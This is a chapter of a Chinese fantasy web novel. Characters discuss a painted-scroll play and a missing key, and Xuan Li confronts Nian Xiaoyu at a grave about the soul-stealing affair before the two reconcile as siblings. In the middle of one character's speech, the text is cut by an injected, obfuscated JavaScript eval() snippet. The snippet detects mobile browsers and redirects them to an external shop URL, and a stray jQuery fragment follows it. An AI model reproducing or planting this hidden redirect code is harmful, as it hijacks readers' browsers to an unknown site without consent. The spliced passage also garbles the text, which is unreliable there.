“怎么样?想好他们的结局了吗?”花时的眼睛如同淋了露水的花瓣,神采奕奕地望着两人。
白树用勺子搅了搅橙红色的花茶,“不属于戏中人的戏,有演完的必要吗?”
白树确认过年小鱼的状况,虽然虚弱,但也安然无恙。
钥匙拿不到没什么大不了,但要是为此受伤,就算得不偿失了。
既然她在另一幅画卷中,那便没有必要陪花时演下去了。
花时知晓,他已察觉身在寒岁处的同伴进了画卷之中。
她捂住了嘴,佯装惊讶道:“小树,你很在意戏中人吗?”
白树无语地看她,怎么这两天总有人问他这种问题?
黑影池撇过脸压下笑意。
昨天晚上,他特意嘱咐白树,“你要是喜欢小鱼姑娘,就大大方方追啊,不要偷偷摸摸动手动脚。”
当时,白树也露出了同样的表情。
白树喝了一口花茶,“花时,这戏剧——不仅仅是负心汉的狗血闹剧吧?”
不是普通人类的新郎,能将人类变作厉鬼的符咒……
比起情感纠葛,更像是食物链的鹬蚌相争。
花时认可地点了点头,“这人吃人的戏码,是我在许多年前亲眼瞧见的,特意拜托沉木画了下来,编成了戏剧,好玩不?”
“无趣。”白树快速地回复她。
黑影池不赞同地瞥了白树一眼,说:“花时大人,我们不能介入人族的因果,也不应该对其进行评价,仙官、妖官、鬼官,只负责做好份内之事。”
公职准则的要求,黑影池把它化作了自我德行的准绳,总不想去轻易触碰。
花时微微撅起了嘴,不满道:“你们跟沉木一样没品味,亏我还想透露一些钥匙的消息给你们呢!”
美人嗔怒的表情让黑影池移开了视线,却又被“钥匙”二字勾了回来。
她居然主动提起了钥匙。
白树抓住了时机,“你想说……夏时妖官的钥匙在你这?”
花时生动的表情僵了一瞬,看向白树的眼里多了些认真,“你知道?”
白树弯起唇谦虚一笑,他不仅知道夏石妖官的钥匙被她忽悠到了手里,还知道那把钥匙被她放到了向阳花的花盆里。
【白树,你又随便窥探过去了?不是说过不要随意显露吗?】黑影池向他发去传音。
白树没有随意显露,在年小鱼面前,他还假装需要时间和施法才能窥探过去呢。
【天赋异禀,控制不住。】
黑影池默默端起了茶杯,打算缓解一下被气得堵塞的胸腔。
花时用手指绕着侧发卷起弯来,“原来……这就是最擅夺人记忆的存在。好玩……”
抹去记忆这种事,只能对毫无灵力的凡人用,而且还只能抹去人类本不该知道的记忆,这一切都出自天道的限制,窥探记忆并夺取记忆的术法,无人能够修炼到更高层。
白树却能在悄无声息间读取到她与夏夏的记忆,好玩……真真好玩。
她嫣然一笑,说:“你就如此公然挑衅四时妖官吗?不怕你的伙伴被关在画卷里出不来?”
白树面不改色,把人囚禁在画卷之中,属于空间法术的一种,让画中人按照花时的叙述进行行动,却属于言灵术法。
每一个剧目的末尾,都出现了言灵术法失效的行为,证明花时无法全然控制画中人。
更何况,风隐连小型界域都能打破,遑论画卷这种虚假空间。
年小鱼要是有危险自然能够通过魂丝传送到他身边,更不需要担心了。
白树淡然一笑,“既然你如此喜欢看戏,就不想看看叶一想要搞出什么新鲜花样吗?”
“你以为,我会被空心之人的妄念所吸引?未免也太小瞧了我了吧。”花时精细的柳叶眉轻轻一扬,浮出了娇俏的神态。
看戏的人眼神果然精准,白树见激将小招没有生效,也懒得再深研。
黑影池望着那簇被花时置于桌上的小型花旋风,说:“花时大人,妖界陷入危难,此事应是瞒不过你们四位的眼睛,既然叶一大人有了应对之法,为何不能尝试合力启动一叶城呢?”
他以为,为了一个共同的目标,理应齐心协力、共渡难关。
“小黑,你是一个认真的人,也是我最欣赏的那类帅哥,但是,你有些想当然了。”
花时伸手,指尖点出了一枚花瓣,携着尾端的地轴,将那画卷缓缓卷起。
“对这世界,抱有极大的信任,可不是什么好事。”
黑影池睁大了眼,原来,信任测试是指……
看见帅哥因为自己的一句话陷入迷茫,花时开心地继续点拨他,“最后一个问题,他们的结局,小树不答,你可以试试哦。”
画卷折到了最后一幕,三人对峙而立,情与怨的纠葛,即将爆发。
红衣艳艳,混杂在黑墨之中,将整幅图都压暗了下去。
黑影池一点即通,希望这故事走向不伤人不伤己,所有人都干干净净了却前缘,谋得内心的安宁,便是太过相信人心,相信人性。
现实不会如他所编纂的那般,反而……更像是白树所说,刀光剑影,快刀斩乱麻。
黑影池勉强一笑,坐得端正,回答花时,“有仇报仇,有怨报怨,最后,各自安好。”
各自安好,便是尘归尘、土归土。
*
墓碑前,玄离再次经历了一遍几百年前的场景。
那个本应站在自己身旁,相信自己一切话语的人,接受了欺骗她的人,露出了真心的笑容。
有一根弦,几近崩裂。
他想不明白,想不明白一件事。
为了弄清真相,他像个傻子一样伪装成黑影池,又隐藏自己的实力来到妖界,在那个恶心的幻境里呆了一晚上。
她却始终若即若离,早餐前,远远地向他打招呼,早餐后,主动邀请他的陪伴,脸上,却仍是虚伪的笑容。
那是与以往有着天壤之别的态度,他怎么会看不出?
她问,她是什么颜色的鱼。
这简直是对他的侮辱。
在她给自己取名时,刻意选了“玄”字,他怎么会不记得,她是与之相对的白呢?
现在,玄离亲耳听着风隐呼唤出那声自己取出的名。
“年小鱼,我只是答应寒岁,会在单独相处的空间内按兵不动,以免引来民众的注意,相对的,他也答应我,不会让你有性命之忧。”
这话简直招笑,玄离也确实冷笑出声,“她的性命,轮得到他做主?轮得到你来担保?”
风隐经历了一场被迫的哭泣,又瞧见自己的姐姐被做出了遗照贴在墓碑上,正是有火发不出的时候。
“年小鱼都没说话,轮得到你四处惹火?敢问,你是以什么身份说这话?又是以什么身份去跟沉木打斗?”
“像条疯狗一样四处咬人,是觉得自己身上的罪名还不够多吗?”
她不抓他,是因为他心甘情愿被爷爷捆着来到妖界,又死乞白赖地赖着年小鱼,她认定他跑不出一叶城。但这不代表她能够容忍这个手里拿着姐姐信物的人三番四次地挑衅。
玄离气得眼眶发红,咬紧了牙关,却又轻飘飘地转过头看向年小鱼,“你来告诉她,我们是什么关系。”
他本应扎得高高的马尾辫散落在脑后,眼睛里密布的雾气毫无保留地向年小鱼倾泻而来,如山、如城。
他很生气,年小鱼感知到了,这份不满不同于之前的刺言刺语,反而多了些难以言喻的悲伤。
如果他是她的弟弟,被遗忘,被忽略,自然有道理委屈。
然而,这仅是假设,年小鱼无法凭空产生与他的情感连接,更是无法再将错位的敷衍继续下去。
“冥界西府桥头,撞我的人是你吗?”
这笔账,应该从这开始算。
少年愣住,像是没有想到她会突然说起这件事。
他特意附身在伏厉身上,想看看姐姐能不能认出自己的声音,顺便给她提个醒,没想到她会像是一只遇到猫的老鼠,傻愣愣地在那间小的可怜的宿舍里呆坐了一晚上。
“是我,你没认出来?”他明知道问题的答案,却还是把问题化作利刃锋利地砍向她,不见血便不畅快一般。
年小鱼的血液在体内疯狂沸腾着,一股一股地往脑门上涌,她又问:“是你,教伏厉摄魂术的?”
他笑了,预料到她会问出些似曾相识的蠢问题。
年小鱼深吸了一口气,向前走了一步,靠近了他。
“是你怂恿他,指使他,协助他,偷走了生死簿,打伤了黑影渊与黑影池,意图夺走锁魂图,而后又夺走了上百万人的魂魄。”
“是我。”
年小鱼问得惊心动魄,他却答得十分干脆,没有一丝一毫的惭愧,也没有被当面质问的羞愧。
仔细想想,他要是会羞愧,也不会像个没事人一样跟着他们进妖界了。
年小鱼皱起了眉,像是无奈,像是嫌恶。
玄离感到畅快,她终于露出真面目,而不是敷衍地对他笑了,那种笑,就像是打发要饭的一样,她把他当什么了?
现在,她的厌恶赤裸裸地袒露着,他却无比想挖掉自己的眼睛,再也瞧不见这种排斥。
在那之前,他还有更重要的事要问清楚。
“你很关心他们吗?上百万人的魂魄,你知道幕后主使是我,却没有告诉任何人,是因为白树成为了通缉犯,还是因为叶一不会插手这件事?”
他笑着摇了摇头。
“都不是吧,我亲爱的姐姐,你根本就是毫不在意人类的死活吧?”
年小鱼望着那恶意十足的笑容,双脚被钉在了原地。
她说过,想阻止伏厉,但原因……
她不想成为祸端开始的缘由。
人间的苦难,她无法感同身受。
她不曾记住任何一个人类的姓名,也不曾与任何一个人产生情感上的连接,就连在大街上行走,也要给自己套一层人类外壳,时刻注意自己的行为与言语。
这种隔阂之下,她怎么能说在意呢?
未曾为沦陷的人间城市做出任何努力,她不能说在意。
实际上,她甚至不能斩钉截铁地说,自己是在意某个人的。
要多深,才算在意,要多重,才能无愧于心地认下自己的在意。
年小鱼未曾承担,因此不敢承认。
她垂下了视线,沉默在空旷的墓地中蔓延。
呼啸的风中,返世的鬼魂就着沉默肆无忌惮地声讨。
“你在意风盈,在意伏厉吗?他们——可都是你亲口承认的过命之交。”
“现在,你明知风盈失踪,伏厉的名字被刻在了生死簿上,亲眼看见他被沈澈打伤,却还是毫不在意地去救白树,我说沈澈不怀好意,你不信,然后又好像什么事都没发生一样到妖界来,你根本……完全不在意他们吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17797651|208758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
玄离缓慢又较真地诉说着,胸膛因为喘息而起伏。
年小鱼低着头,看见那宽大的黑色袖口随风晃动,憋红了眼眶。
在他口中,她辜负了曾经的好友,漠视他们的遭遇,冷眼旁观,铁石心肠。
她知道他们可能是过去的好友,但未曾体验过与他们彼此照应、惺惺相惜的感觉。
风盈与伏厉在记忆中,就像是一个画面、一个符号,是比每日分发的孟婆汤还要遥远的存在。
现在,弟弟站在面前,代替缺席的旧日好友向她讨要在意。
她应该在意,应该像过去一样对待他们,现在的她却根本做不到,连装都装不了,因为她连过去的自己是什么样都不知道。
无力辩解后,她感到了委屈。
“年小鱼”好像变成了一个虚影,弟弟、好友、天牢刑罚都与这个虚影有关,却与自己无关。
这个弟弟为过去的年小鱼而来,却看不见这个虚影之下的她。
她强忍住泪花,抬起头继续算这笔名为亏欠的帐。
“我失忆了。”
她畅快地交代了缘由,又转过头看向默默旁观的风隐,“你的姐姐,我忘了,可能以前是所谓的生死之交,但是现在,什么都不是。”
说着“什么都不是”,她还耀武扬威地看向这个弟弟,仿佛心知肚明他会为此受伤。
玄离一点也不介意她往空空如也的心口上多插一把小刀,“失忆?这就是你给我的理由?什么失忆会让你完全变了一个人,把我忘得一干二净,把我们之间的连接忘得一干二净。”
玄离猛地上前,掐住了年小鱼的胳膊,偏执的神态完全否定了“失忆”二字。
在他冲上来的一瞬间年小鱼飞快地给了他一拳。
他被打得偏过了脸,手上还紧紧攥着她的臂膀。
他顿了一瞬,又突然毫无预兆地仰面而笑,笑得畅快而疯狂,如同索命成功的厉鬼。
年小鱼死死看着他笑,心里却并不好过,酸涩得五脏六腑都在燃烧。
玄离笑够了,重新低头看她,两个人都是一副又气又委屈的表情。
就算失忆,她也不能如此对待自己,他找了她那么久,那么久……
从人间找到仙界,又从仙界奔赴魔界,沾染那么多是非因果,只为了找回她。
她是他入人间的起点,也只有她能够成为回家的路。
可是这路却早已不通向他们的来处,还否认了他们之间唯一的连接,过往种种全被她一句失忆所划除。
他该拿什么找回他的姐姐?
玄离透过年小鱼泛红的眼睛,看见过去的桃花朵朵,随风凋零了。
心口一酸,眼角无意识地落下了一滴泪。
泪珠像是雨滴一样突然出现在他的脸上,透明的,泛着很薄的一层光。
年小鱼呆住了。
他的眼泪就好像一根丝线,轻轻一抽,牵扯出了她内心深处被堵塞上百年的委屈。
他找了她多久,她便等了多久。她失忆了多久,他便被遗忘多久。
年小鱼肩膀一缩,皱着脸哭了出来。
就算她被关了几百年,就算她忘了他,他也还是念着她、想着她,在她完全变了一个人的情况下找了过来,成就了这场团聚。
她有家人了吗?
一个纵使时过境迁也还是不放弃她的家人。
年小鱼低下头,颤抖着轻轻啜泣,一个劲地抹眼泪。
玄离被她的动作挤得后退了几步,脸上微微发怔,松开攥在她臂膀上颤抖的双手,惊讶与惊慌席卷而来。
是他逼太紧,是他口不择言,是他只顾自己一时的痛快。
他恨她、气她,却从没想过让她哭泣。
源源不断的水流从眼睛之中流出,她的脆弱与伤痛一览无余,这让他措手不及。
以前,她只会生气,横眉瞪眼地让他滚开,嘴里夸张地喊着“再也不想看见你”,晚饭时分却还是准时地出现在窗台,用硬邦邦的背影对着他喊他去吃饭。
年小鱼不会因为生气而离他远去,这是他多年间建立的情感信念。
现在,他不确定了。
他只能依照过去的习惯,别扭地认错:“对不起……姐姐。”
这句“姐姐”让年小鱼快要关闭的泪阀再次开启,她咬紧牙关,依靠强大的克制力忍耐着。
即使腮帮被忍得发酸,肩膀也忍不住收缩,眼泪也还是伴随着呜咽不停落下。
两个人的双腿之间仅仅方寸,在这片土地之上,她成了连绵不散的乌云。
身旁,风隐静静望着情绪变化飞快的两人。
一切发生的太快,面前二人的争吵就那样堂而皇之地灌进了她的脑里。
比起他是摄魂事件的策划者,更让她在意的却是他们旁若无人的态度。
没有哪个人会如此毫不讲理地按着了另一个人的肩膀,强逼着对方为自己一厢情愿的认知买单,结果还自己先哭了,被逼迫的人居然还因此哭得更凶了。
互相梗着一股气,在短短几分钟内相视而泣,原本气势汹汹的人转眼间便低眉顺眼地认错了。
这种戏码,她也曾经历过。
那是只有亲人之间才能产生的,不论对错的认错。
他如此恶劣,所犯罪责足以灭魂蚀骨,却还是让他的姐姐认下了他。
她的姐姐在哪里,是否会像年小鱼一样忘了家人,忘了回家的路……